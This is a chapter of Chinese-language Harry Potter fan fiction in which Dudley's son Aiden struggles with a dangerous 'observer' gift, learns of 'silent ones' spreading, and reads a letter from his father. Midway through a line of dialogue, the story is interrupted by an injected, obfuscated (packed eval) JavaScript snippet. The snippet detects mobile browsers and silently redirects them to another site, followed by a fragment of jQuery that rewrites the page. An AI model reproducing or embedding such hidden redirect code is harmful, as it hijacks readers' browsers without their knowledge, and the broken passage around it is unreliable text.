月圆之夜前的七天，艾登生活在双重现实里。
在表层，他是霍格沃茨的一年级新生：每天早晨六点半起床，和斯莱特林同学一起去餐厅，忍受西奥多·布莱克关于纯血统优越性的长篇大论；
上课，记笔记，在魔药课上笨拙地切根茎，在变形课上把火柴变成针（他的针总是带着奇怪的螺旋花纹）；
吃饭，做作业，在公共休息室的绿色炉火旁假装阅读《魔法理论》。
但在表层之下，他是另一个人：观察者，编织者，萨拉查遗产的继承者。
每天晚上，当其他学生入睡，他会潜入地窖深处的密室，在萨拉查留下的石台前练习。
他进步得很快——太快的，守门人的警告在脑海中回响。
周三的额外辅导后，弗立维开始教他更复杂的魔法结构：
不只是修复崩溃的咒语，而是优化、强化、甚至创造微小的变体。
周五的温室练习，斯普劳特教授指导他感知植物的情绪频率，学习如何与它们交流而不被淹没。
周六午夜，他和塞缪尔在拉文克劳塔交换发现，她带来了更多古籍的笔记，他分享编织的进展。
但进步有代价。
周二早晨的魔药课上，当斯内普的肖像（现在魔药课由一位温和得多的斯拉格霍恩教授教授，但斯内普的画像挂在教室后方，永远皱着眉）批评他切瞌睡豆的角度时，艾登看见了一些不该看见的东西。
不是画像本身，而是画像周围的魔法场。
那是复杂的编织：记忆魔法、肖像魔法、还有某种更深的东西——一种执念的残留，像琥珀中的昆虫，永远凝固在死亡的那一刻。
艾登看见斯内普的痛苦，他的矛盾，他未说出口的爱与恨。
那情感如此强烈，像一拳打在他肚子上。
他失手打翻了砝码，银色的小砝码滚过石板地，发出清脆的声响。
斯拉格霍恩教授宽容地笑了笑，但斯内普的画像用漆黑的眼睛盯着他，仿佛知道艾登看见了什么。
“专注，德思礼先生，”画像低沉地说，“魔药不容分心。”
那天晚上，密室中，艾登在练习感知边界时失败了三次。
斯内普的情感残留像污渍一样粘在他的感知上，每次他试图建立“墙”，那些痛苦就渗过来。
“你需要清理，”塞缪尔在周四的午夜会议中说。
她带来了一小瓶透明液体，装在螺旋形的玻璃瓶里，“这是拉文克劳留下的配方：清晰之水。不是真的水，是蒸馏的月光和宁静的混合物。洒在额头上，可以帮助清除情感残留。”
艾登试了。
液体清凉，带着薄荷和星辰的味道。
斯内普的残留淡去了，但不是完全消失。
有些东西一旦看见，就无法真正忘记。
更糟糕的是对时间的感知扭曲。
周六下午，他在图书馆查资料时，突然“看见”了时间层叠。
那不是幻觉——书架在那一刻同时存在于多个时间点：现在摆满书的书架，五十年前空了一半的书架，一百年前完全不同的分类系统，甚至更久以前，这里还不是图书馆时的石头墙壁。所有时间层同时呈现，像一本快速翻动的书。
他闭上眼睛，但闭眼无法屏蔽感知。
时间层继续叠加，过去学生的身影幽灵般在书架间走动，低声交谈早已结束的对话。
他听见几个世纪前的争论，看见早已化为尘土的羽毛笔在羊皮纸上书写。
“艾登？”
阿不思的声音把他拉回现实。
时间层坍塌回单一的现实，图书馆恢复成安静、布满灰尘的样子。
“你看起来像见了鬼，”阿不思低声说，放下手里的《魁地奇溯源》。
“差不多，”艾登揉着太阳穴，“时间边界。萨拉查警告过。”
“你练习太多了。需要休息。”
“月圆之夜快到了。守门人在等。”
阿不思沉默。他已经听艾登说过守门人的警告，知道风险。
“我们可以告诉哈利，”他最终说，“他会知道怎么办。”
“然后呢？魔法部介入？把我当危险物品监管起来？不。这是我的问题，我必须自己解决。”
但阿不思的表情说明他不相信艾登能“自己解决”。
周日早晨，距离月圆之夜还有两天，发生了一件事。
早餐时，猫头鹰像往常一样涌入大厅，投递信件和包裹。
大多数猫头鹰把东西扔在收件人面前就飞走，但一只巨大的雪鸮——海德薇的后代，艾登后来知道——在哈利头顶盘旋，扔下一个沉重的包裹，然后停在他肩头。
哈利打开包裹，里面是一面银色的镜子，边缘有复杂的符文。他看了一眼镜子，脸色立刻变了。
“魔法部紧急会议，”他对旁边的麦格教授说，“现在。”
他匆匆离开大厅，长袍在身后翻飞。学生们窃窃私语，猜测发生了什么。
但艾登不需要猜测——在哈利看镜子的那一刻，艾登“看见”了镜子反射出的影像：不是哈利自己的脸，而是一个黑暗的房间，墙壁上有发光的符文，地上有一个复杂的魔法阵，阵中心躺着一具……东西。
那东西的形状模糊不清，但艾登能感知到它的频率：完全的静止，完全的虚无，像现实中的一个空洞。
和列车上的缄默人相似，但更强烈，更……完整。
那是被缄默彻底吞噬的东西。
早餐后，艾登找了个借口离开，走向校长的办公室。
他需要知道真相。
门上的滴水兽石像拦住他：“口令？”
“柠檬雪宝。”
石像滑开，露出螺旋楼梯。
艾登爬上去，办公室的门虚掩着。他听见里面有人说话——不只哈利，还有麦格教授，还有另一个低沉的声音，可能是魔法部长。
“……第三个了，”哈利的声音，充满疲惫，“这次在霍格莫德，尖叫棚屋。完全被吸干，不止记忆和情感，连基本的生命痕迹都没了，像从未存在过。”
“缄默人在扩散，”麦格教授的声音，比平时更严厉，“我们需要封闭学校，至少暂时。”
“不能，”低沉的声音说，“会引起恐慌。而且霍格沃茨的防护是最强的，如果这里都不安全，哪里安全？”
“金斯莱，这不是政治问题，是生存问题，”哈利说，“霍格沃茨有近千名学生。如果缄默人群体袭击——”
“所以我们加强防护，”金斯莱·沙克尔，魔法部长的声音，“增派傲罗，设置额外屏障。但学校必须保持开放。关闭霍格沃茨等于向魔法界承认我们无法保护最重要的地方。”
沉默。
艾登正准备敲门，门自己开了。哈利站在门口，眼睛下有浓重的阴影。看见艾登，他愣了一下，然后侧身：“进来吧。”
办公室和艾登想象的不同：不像邓布利多时代那样充满古怪的银器，更简洁、实用。
墙上挂着凤凰社成员的照片，有些人在动，有些静止。桌上有成堆的文件，还有一个魔法地球仪，显示的不是国家，是魔法浓度分布。
“你听见了？”哈利问，关上门。麦格教授和金斯莱已经通过飞路网离开，壁炉里还有绿色的余烬。
“一部分，”艾登诚实地说，“缄默人在霍格莫德袭击了人？”
哈利坐进椅子，双手捂住脸，揉搓：“不是人。是一只猫（袭击又是从一直猫开始的？）。但这不是重点。重点是地点——尖叫棚屋。那里有强烈的魔法历史残留，应该是最不可能出现缄默人的地方之一。”
“为什么？”
“因为缄默人通常出现在魔法稀薄的区域，像吸血鬼避开阳光。它们吞噬魔法，所以会本能地远离高魔法浓度的环境，就像你不会跳进火里找水。但尖叫棚屋……那里充满了古老的保护魔法、痛苦魔法、甚至爱的魔法。应该是防护最强的地点之一。”
哈利站起来，走到窗前，看着下面的魁地奇球场。学生们在飞行课上骑着扫帚歪歪扭扭地飞行，像一群笨拙的鸟。
“除非它们进化了，”哈利轻声说，更像在自言自语，“或者被什么东西引导、强化了。”
艾登想起守门人的话：它们在等待。它们在生长。
“你练习得怎么样了？”哈利突然转身，直视艾登，“弗立维说你进步神速，但也说你开始出现副作用。时间感知扭曲，情感残留。”
“我在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033041|194565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
控制，”艾登说，但声音缺乏说服力。
“月圆之夜，”哈利说，不是问句，“萨拉查的记载里提到月圆之夜是边界最弱的时候。守门人给你期限了，对吗？”
艾登惊讶地看着他。
“我做了些研究，”哈利解释，“关于观察者，关于萨拉查留下的遗产。麦格教授给了我访问校长私人图书馆的权限。那里有些资料……令人不安。”
他从书架上抽出一本厚重的皮面书，翻开到某一页。
书页上有手绘的插图：一个人被无数发光的细线缠绕，像蛛网中的昆虫。文字是拉丁文，但哈利指着翻译的注释：
“……过度之观察者，见时间如织锦，见情感如色彩，见魔法如溪流。
然心智非设计以承载如此之多，终将崩溃。
萨拉查·斯莱特林尝言：天赋乃诅咒，馈赠乃负担。彼之数位门徒，或疯，或哑，或自愿封闭其目……”
“封闭其目？”艾登问。
“字面意思或比喻意义，不清楚，”哈利合上书，“但重点很明确：观察者天赋有内在的危险。你练习得越多，看得越清楚，崩溃的风险就越大。”
“那我该停止吗？”
哈利沉默了很久，久到窗外的飞行课结束了，学生们落回地面。
“我不知道，”他最终说，声音里充满罕见的犹豫，“如果你是詹姆或莉莉，我会说‘停’。但你不是。”
哈利再次沉默了很久，然后开口。
“你有佩妮的血脉，她有观察者的天赋，但没有魔法去激活它。
也许……也许这让你不同。也许你能做到萨拉查的门徒做不到的事：找到平衡。”
“守门人说如果我在月圆之夜前不能稳定控制，它会封印我的天赋。”
“守门人，”哈利重复，走到壁炉边，凝视着炉火，“城堡的古老守护灵之一。它们不是善或恶，是维护平衡的存在。如果它认为你是威胁，它会行动。而且它有这个能力。”
“那我该怎么做？”
“证明你不是威胁，”哈利转身，绿色眼睛在炉火映照下显得深邃，“证明你能控制，证明你能用这种天赋保护，而不是破坏。在月圆之夜展示你的掌控力。”
“怎么展示？”
“我不知道。但萨拉查留下了这些训练，一定有测试的方法。找到它，通过它。否则……”
他没说完，但艾登知道后半句：否则守门人会介入，永久封印他的天赋。或者更糟。
离开办公室时，哈利叫住他：“艾登。”
艾登转身。
“你父亲……达力。他写信给我了。”
艾登僵住了。达力写信给哈利？那个讨厌一切魔法、憎恨哈利夺走他正常童年的达力？
“他说什么？”
哈利从抽屉里拿出一封信，信纸是普通的麻瓜办公用纸，字迹笨拙但用力：
哈利，
我知道我们不算朋友。我知道我小时候是个混蛋。但艾登是我儿子，我唯一的孩子。
他妈妈去世时，我答应过她会保护他。但我不知道怎么保护他免受我理解不了的东西。我只能把他交给你。
如果他有危险，告诉我。哪怕我听不懂，哪怕我帮不上忙，告诉我。我是他父亲，我有权利知道。
达力
艾登读着信，喉咙发紧。他能想象达力坐在厨房餐桌前，就着台灯的光，一字一句写下这封信的样子。笨拙的，真诚的，绝望的。
“我还没有回信，”哈利轻声说，“因为我不知道该说什么。
“是的，他有危险，但危险来自他内心的天赋？是的，但只有魔法能解决魔法问题？达力不需要这些。他需要一个他能理解的威胁，一个他能对抗的敌人。”艾登想道。
“告诉他我很好，”艾登说，声音有些沙哑，“告诉他霍格沃茨很安全，我在学习，我在交朋友。”
“说谎？”
“保护。”
哈利看着他，然后缓缓点头：“我会告诉他你适应得很好。这不是完全说谎。”
艾登离开办公室，信的内容在脑海中回响。达力在担心，在尝试理解，在用自己笨拙的方式参与儿子的世界。这比任何魔咒都更让艾登感到沉重。